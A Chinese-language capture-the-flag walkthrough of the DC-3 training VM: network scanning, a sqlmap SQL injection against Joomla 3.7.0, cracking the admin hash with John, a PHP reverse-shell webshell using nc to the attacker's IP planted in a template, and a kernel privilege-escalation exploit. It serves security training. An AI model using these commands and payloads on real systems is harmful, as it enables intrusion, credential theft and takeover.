介绍
在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。
靶机:192.168.254.131(DC-3)
攻击机:192.168.254.128(Kali)
物理机:192.168.254.1(Windows10)
信息搜集
网络扫描
先扫描靶机IP及开启的服务
$ nmap -sn 192.168.254.1/24

进一步扫描靶机开启的服务
$ nmap -sV -p- 192.168.254.131

目标靶机80端口存在httpd服务。
查看网站相关信息
打开站点,一个登录界面,使用插件wappalyzer
查看网站的相关信息。

可以看到该网站使用CMS为Joomla
。
漏洞扫描及利用
漏洞扫描
在漏洞库中查询 Joomla 漏洞,首先查询版本。
获取版本号可以用joomla的专用扫描器 joomscan
来扫描
$ joomscan -u 192.168.254.131

查询该版本的漏洞
$ searchsploit joomla 3.7.0

发现该版本存在SQL注入漏洞和跨站脚本漏洞。
漏洞利用
查看SQL注入的信息,先复制到当前文件夹
$ searchsploit -m 42033.txt
$ cat 42033.txt

这个文件里面都把利用命令给出来了,直接复制粘贴,然后修改一下IP地址即可使用。
sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

测试可用,一把嗦。
库:Joomla
表:#__users

得到管理员密码。
flag
flag
拿到的管理员密码是密文,尝试用约翰开膛手破解。
把密文保存到文件中,开始破译。
$ echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.txt
$ john pass.txt

拿到密码:snoopy,成功登录后台。
通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接获取shell的方法。
写一个反弹shell的木马。
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.254.128 1234 >/tmp/f');?>
上传木马

随便选择一个模板

新建文件

选择文件名和文件类型

将刚刚写的马复制过来,保存

监听1234端口
$ rlwrap nc -lvnp 1234
访问木马,执行代码,成功反弹shell!

接下来就是提权了。
$ find / -perm -u=s -type f 2>/dev/null

$ sudo -l

经过查找没有发现s权限的文件也没有发现可以用root权限执行的命令。
这种情况还是需要用searchsploit来查找提权漏洞。但是查找前需要知道系统的版本号和内核版本号。
$ cat /etc/issue #查看系统版本号
$ uname -a #查看内核版本号

得知系统为 ubuntu 16.04
,内核发行版本为 4.4.0-21
。
查找相关漏洞
$ searchsploit ubuntu 16.04

发现三个对应内核版本的漏洞。
三个都行,这里选择39772,复制payload后打开。
$ searchsploit -m 39773.txt

根据地址下载 zip 文件,解压后发现两个文件,将exploit.tar
上传到靶机上,解压执行。
$ :file_upload2web exploit.tar #上传文件到靶机
$ tar -xvf exploit.tar #解压exploit提权脚本tar包
$ cd ebpf_mapfd_doubleput_exploit
$ ./compile.sh #执行脚本,编译文件
$ ./doubleput #执行提权文件

成功拿到flag

总结
学到的知识
- searchsploit 查询漏洞。
- 约翰开膛手爆破加密后的密码。
- 利用 linux 内核漏洞提权。